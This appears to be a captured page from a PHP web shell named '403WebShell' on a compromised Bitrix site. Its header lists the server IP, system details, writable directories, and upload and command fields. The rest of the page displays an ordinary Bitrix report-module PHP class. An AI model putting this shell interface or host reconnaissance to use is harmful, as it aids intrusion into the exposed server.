%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.28.206
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/handler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/handler/basereport.php
<?php

namespace Bitrix\Report\VisualConstructor\Handler;
use Bitrix\Main\Localization\Loc;
use Bitrix\Report\VisualConstructor\Config\Common;
use Bitrix\Report\VisualConstructor\Entity\Report;
use Bitrix\Report\VisualConstructor\Fields\Base as BaseFormField;
use Bitrix\Report\VisualConstructor\Fields\Div;
use Bitrix\Report\VisualConstructor\Fields\Valuable\CustomDropDown;
use Bitrix\Report\VisualConstructor\Fields\Valuable\BaseValuable;
use Bitrix\Report\VisualConstructor\Fields\Valuable\DropDown;
use Bitrix\Report\VisualConstructor\Fields\Valuable\IValuable;
use Bitrix\Report\VisualConstructor\Helper\Category;
use Bitrix\Report\VisualConstructor\IReportData;
use Bitrix\Report\VisualConstructor\RuntimeProvider\CategoryProvider;
use Bitrix\Report\VisualConstructor\RuntimeProvider\ReportProvider;
use Bitrix\Report\VisualConstructor\RuntimeProvider\ViewProvider;

use Bitrix\Report\VisualConstructor\Handler\Base as BaseHandler;


/**
 * Class BaseReport
 * @property mixed category
 * @property void unit
 * @package Bitrix\Report\VisualConstructor
 */
abstract class BaseReport extends BaseHandler implements IReportData
{
	private $title;
	private $categoryKey;
	private $unitKey;
	private $weight = 0;

	private $report;
	private $calculatedData;
	private $widgetHandler;

	/**
	 * BaseReport constructor.
	 */
	public function __construct()
	{
		$report = new Report();
		$report->setReportHandler($this);
		$this->setReport($report);
		$this->setTitle(Loc::getMessage('WITHOUT_DATA'));
	}

	/**
	 * @return \Bitrix\Report\VisualConstructor\Fields\Base[]
	 */
	public function getCollectedFormElements()
	{
		parent::getCollectedFormElements();
		$this->getView()->collectReportHandlerFormElements($this);
		return $this->getFormElements();
	}

	/**
	 * Collecting form elements for configuration form.
	 *
	 * @return void
	 */
	protected function collectFormElements()
	{
		$mainContainer = new Div();
		$mainContainer->setKey('main_container');
		if ($this->getConfiguration('color'))
		{
			$mainContainer->addInlineStyle('background-color', $this->getConfiguration('color')->getValue() . '5f');
		}
		else
		{
			$reportHandlersCount = count($this->getWidgetHandler()->getReportHandlers());
			$mainContainer->addInlineStyle('background-color', $this->getView()->getReportDefaultColor($reportHandlersCount) . '5f');
		}
		$mainContainer->addClass('report-configuration-main');
		$mainContainer->addAssets(array(
			'css' => array('/bitrix/js/report/css/visualconstructor/configmain.css')
		));
		$this->addFormElement($mainContainer->start());
		$fieldListContainer = new Div();
		$fieldListContainer->setKey('field_list_container');
		$fieldListContainer->addClass('report-configuration-field-list');
		$this->addFormElement($fieldListContainer->start());

		$reportHandlerSelectContainer = new Div();
		$reportHandlerSelectContainer->setKey('report_handler_select_container');
		$reportHandlerSelectContainer->addClass('report-configuration-row');
		$reportHandlerSelectContainer->addClass('report-configuration-no-padding-bottom');
		$categorySelectField = $this->getReportHandlerCategoryField();
		$reportHandlerSelectField = $this->getReportHandlerSelectField($categorySelectField->getValue());

		$reportHandlerSelectField->addJsEventListener($categorySelectField, $categorySelectField::JS_EVENT_ON_CHANGE, array(
			'class' => 'BX.Report.VisualConstructor.FieldEventHandlers.ReportHandlerSelect',
			'action' => 'categorySelected'
		));
		$reportHandlerSelectField->addAssets(array(
			'js' => array('/bitrix/js/report/js/visualconstructor/fields/reporthandlerselect.js')
		));

		$this->addFormElement($reportHandlerSelectContainer->start());
			$this->addFormElement($categorySelectField);
			$this->addFormElement($reportHandlerSelectField);

		$whatWillCalculateField = $this->getCalculateField();

		$viewCompatibleDataType = $this->getView()->getCompatibleDataType();

		if (in_array($viewCompatibleDataType, array(
			Common::MULTIPLE_REPORT_TYPE,
			Common::MULTIPLE_GROUPED_REPORT_TYPE,
			Common::MULTIPLE_BI_GROUPED_REPORT_TYPE,
		)))
		{
			$groupingField = $this->getGroupingField($whatWillCalculateField);
			$this->addFormElement($groupingField);
			$widgetHandler = $this->getWidgetHandler();
			$previewBlock = $widgetHandler->getFormElement('view_type');
			$previewBlock->addJsEventListener($groupingField, $groupingField::JS_EVENT_ON_CHANGE, array(
				'class' => 'BX.Report.VisualConstructor.FieldEventHandlers.PreviewBlock',
				'action' => 'reloadWidgetPreview'
			));
		}

		$this->addFormElement($reportHandlerSelectContainer->end());

		$selectListContainer = new Div();
		$selectListContainer->setKey('report_configuration_select_list');
		$selectListContainer->addClass('report-configuration-row');
		$selectListContainer->addClass('report-configuration-row-list');

		$this->addFormElement($selectListContainer->start());
		$this->addFormElement($whatWillCalculateField);
		$this->addFormElement($selectListContainer->end());
		$this->addFormElement($fieldListContainer->end());
		$this->addFormElement($mainContainer->end());
	}

	/**
	 * @return DropDown
	 */
	public function getCalculateField()
	{
		$whatWillCalculate = new DropDown('calculate');
		$whatWillCalculate->setLabel(Loc::getMessage('BASE_REPORT_HANDLER_WHAT_WILL_CALCULATE'));
		$whatWillCalculate->addOptions($this->getWhatWillCalculateOptions());

		return $whatWillCalculate;
	}

	/**
	 * @param DropDown $whatWillCalculateField What will calculate field.
	 * @return DropDown
	 */
	public function getGroupingField(DropDown $whatWillCalculateField)
	{
		$groupingField = new CustomDropDown('groupingBy');
		$groupingField->setLabel(Loc::getMessage('BASE_REPORT_HANDLER_GROUPING'));
		$groupingField->addOptions($this->getGroupByOptions());
		$whatWillCalculateField->addJsEventListener($groupingField, $groupingField::JS_EVENT_ON_CHANGE, array(
			'class' => 'BX.Report.VisualConstructor.FieldEventHandlers.WhatWillCalculate',
			'action' => 'reloadCompatibleCalculatedTypes',
		));
		$whatWillCalculateField->addAssets(array(
			'js' => array('/bitrix/js/report/js/visualconstructor/fields/whatwillcalculate.js')
		));

		return $groupingField;
	}

	/**
	 * @return array
	 */
	protected function getGroupByOptions()
	{
		return array();
	}

	/**
	 * @return BaseFormField[]
	 */
	public function getFormElements()
	{
		$pseudoReportId = '_pseudo' . randString(4);
		$result = array();
		foreach ($this->formElementsList as $key => $element)
		{
			$viewModesWhereFieldAvailable = $element->getCompatibleViewTypes();
			if ($viewModesWhereFieldAvailable != null)
			{
				$viewKey = $this->getView()->getKey();
				$viewProvider = new ViewProvider();
				$viewProvider->addFilter('primary', $viewKey);
				$viewProvider->addFilter('dataType', $viewModesWhereFieldAvailable);
				$views = $viewProvider->execute()->getResults();
				if (!empty($views))
				{
					$result[$key] = $element;
				}
			}
			else
			{
				$result[$key] = $element;
			}
			if ($element instanceof BaseValuable)
			{
				$element->setName($this->getNameForFormElement($element, $pseudoReportId));
			}
		}

		return $result;
	}


	/**
	 * @param BaseValuable $element Element for which construct name.
	 * @param string $pseudoReportId pseudo report id is report not exist.
	 * @return string
	 */
	protected function getNameForFormElement(BaseValuable $element, $pseudoReportId = '')
	{
		$name = '';
		if ($this->getWidgetHandler() && $this->getReport())
		{
			$name = 'widget[' .
				$this->getWidgetHandler()->getWidget()->getGId() .
				'][reports][' .
				$this->getReport()->getGId() .
				']';
		}
		elseif(!$this->getReport())
		{
			$name =  'widget[' .
				$this->getWidgetHandler()->getWidget()->getGId() .
				'][reports][' .
				$pseudoReportId .
				']';
		}

		$name .= parent::getNameForFormElement($element);
		return $name;
	}

	/**
	 * @return string
	 */
	public function getTitle()
	{
		return $this->title;
	}

	/**
	 * @param string $title Title of report handler.
	 * @return void
	 */
	public function setTitle($title)
	{
		$this->title = $title;
	}

	/**
	 * @return mixed
	 */
	public function getWeight()
	{
		return $this->weight;
	}

	/**
	 * @param mixed $weight Weight value for sorting.
	 * @return void
	 */
	public function setWeight($weight)
	{
		$this->weight = $weight;
	}

	/**
	 * @return Report
	 */
	public function getReport()
	{
		return $this->report;
	}

	/**
	 * @param Report $report Report entity.
	 * @return void
	 */
	public function setReport($report)
	{

		$this->report = $report;
	}

	/**
	 * @return mixed
	 */
	public function getCalculatedData()
	{
		return $this->calculatedData;
	}

	/**
	 * @param mixed $calculatedData Report handler calculated data.
	 * @return void
	 */
	public function setCalculatedData($calculatedData)
	{
		$this->calculatedData = $calculatedData;
	}

	/**
	 * Fill report handler properties from Report entity.
	 *
	 * @param Report $report Report entity.
	 * @return void
	 */
	public function fillReport(Report $report)
	{
		$viewHandler = $this->getView();
		if ($viewHandler)
		{
			$this->setView($viewHandler);
		}
		$this->setReport($report);
		$this->setConfigurations($report->getConfigurations());
		$this->getCollectedFormElements();
		$this->fillFormElementsValues();
	}

	private function fillFormElementsValues()
	{
		$formElements = $this->getFormElements();
		$configurations = $this->getConfigurations();
		if (!empty($configurations))
		{
			foreach ($configurations as $configuration)
			{
				if (isset($formElements[$configuration->getKey()]) && ($formElements[$configuration->getKey()] instanceof BaseValuable))
				{
					/** @var BaseValuable[] $formElements */
					$formElements[$configuration->getKey()]->setValue($configuration->getValue());
				}
			}
		}
	}

	/**
	 * @return string
	 */
	public function getCategoryKey()
	{
		return $this->categoryKey;
	}

	/**
	 * Attach report handler to category.
	 *
	 * @param string $categoryKey Category key.
	 * @return void
	 */
	protected function setCategoryKey($categoryKey)
	{
		$this->categoryKey = $categoryKey;
	}

	/**
	 * @return string
	 */
	public function getUnitKey()
	{
		return $this->unitKey;
	}

	/**
	 * @param string $unitKey Unit measurement key.
	 * @return void
	 */
	protected function setUnitKey($unitKey)
	{
		$this->unitKey = $unitKey;
	}

	/**
	 * Field for selecting category.
	 *
	 * @return DropDown
	 */
	private function getReportHandlerCategoryField()
	{
		$selectField = new CustomDropDown('reportCategory');
		$selectField->setLabel(Loc::getMessage('SELECT_REPORT_HANDLER_CATEGORY'));
		$categories = new CategoryProvider();
		$categories->addFilter('parent_keys', 'main');
		$categories->addRelation('children');
		$categories->addRelation('parent');
		$categories  = $categories->execute()->getResults();
		$options = Category::getOptionsTree($categories);
		$selectField->addOptions($options);

		$selectField->setValue($this->getCategoryKey());
		return $selectField;
	}

	/**
	 * Build report handler select drop down.
	 * Collect all report handler sin selected category.
	 *
	 * @param string $categoryKey Category key.
	 * @return CustomDropDown
	 */
	private function getReportHandlerSelectField($categoryKey = '__')
	{
		$selectField = new CustomDropDown('reportHandler');
		$selectField->addDataAttribute('field-type', 'report-handler-class');
		$selectField->setLabel(Loc::getMessage('SELECT_DATA_PROVIDER'));
		$selectField->addJsEventListener($selectField, $selectField::JS_EVENT_ON_CHANGE, array(
			'class' => 'BX.Report.VisualConstructor.FieldEventHandlers.ReportHandlerSelect',
			'action' => 'reportHandlerSelected',
		));
		$selectField->addAssets(array(
			'js' => array('/bitrix/js/report/js/visualconstructor/fields/reporthandlerselect.js')
		));

		$reports = new ReportProvider();
		$reports->addFilter('dataType', $this->getView()->getCompatibleDataType());

		if (!empty($categoryKey) && $categoryKey !== '__')
		{
			$reports->addFilter('categories', array($categoryKey));
		}

		$reports->execute();

		/** @var BaseReport[] $reportHandlers */
		$reportHandlers = $reports->getResults();
		foreach ($reportHandlers as $report)
		{
			$selectField->addOption($report::getClassName(), $report->getTitle());
		}

		$selectField->setDefaultValue($this::getClassName());

		return $selectField;
	}

	/**
	 * @return array
	 */
	public function getReportImplementedDataTypes()
	{
		$dataTypeMap = Common::$reportImplementationTypesMap;
		$class = get_class($this);
		$implementedInterfaceList = class_implements($class);
		$implementedInterfaceList = array_values($implementedInterfaceList);
		$result = array();
		foreach ($dataTypeMap as $reportTypeKey => $settings)
		{
			if (in_array($settings['interface'], $implementedInterfaceList))
			{
				$result[] = $reportTypeKey;
			}
		}
		return $result;
	}

	/**
	 * @return BaseWidget|null
	 */
	public function getWidgetHandler()
	{
		if ($this->getReport()->getWidget())
		{
			return $this->getReport()->getWidget()->getWidgetHandler();
		}
		elseif ($this->widgetHandler)
		{
			return $this->widgetHandler;
		}
		else
		{
			return null;
		}
	}

	/**
	 * Attach report handler to widget handler.
	 *
	 * @param BaseWidget $widgetHandler Widget handler.
	 * @return void
	 */
	public function setWidgetHandler(BaseWidget $widgetHandler)
	{
		$this->widgetHandler = $widgetHandler;
	}

	/**
	 * In cloning of entity clone nested entities too.(configurations, form elements list).
	 * @return void
	 */
	public function __clone()
	{
		foreach ($this->configurations as $key => $configuration)
		{
			$this->configurations[$key] = clone $configuration;
		}

		foreach ($this->formElementsList as $key => $formElement)
		{
			$this->formElementsList[$key] = clone $formElement;
		}
	}

	/**
	 *
	 * @param null $groupingValue Grouping field value.
	 * @return array
	 */
	public function getWhatWillCalculateOptions($groupingValue = null)
	{
		return array();
	}

	/**
	 * In some case, need to dynamically disable some report handler
	 * @return bool
	 */
	public function isEnabled()
	{
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit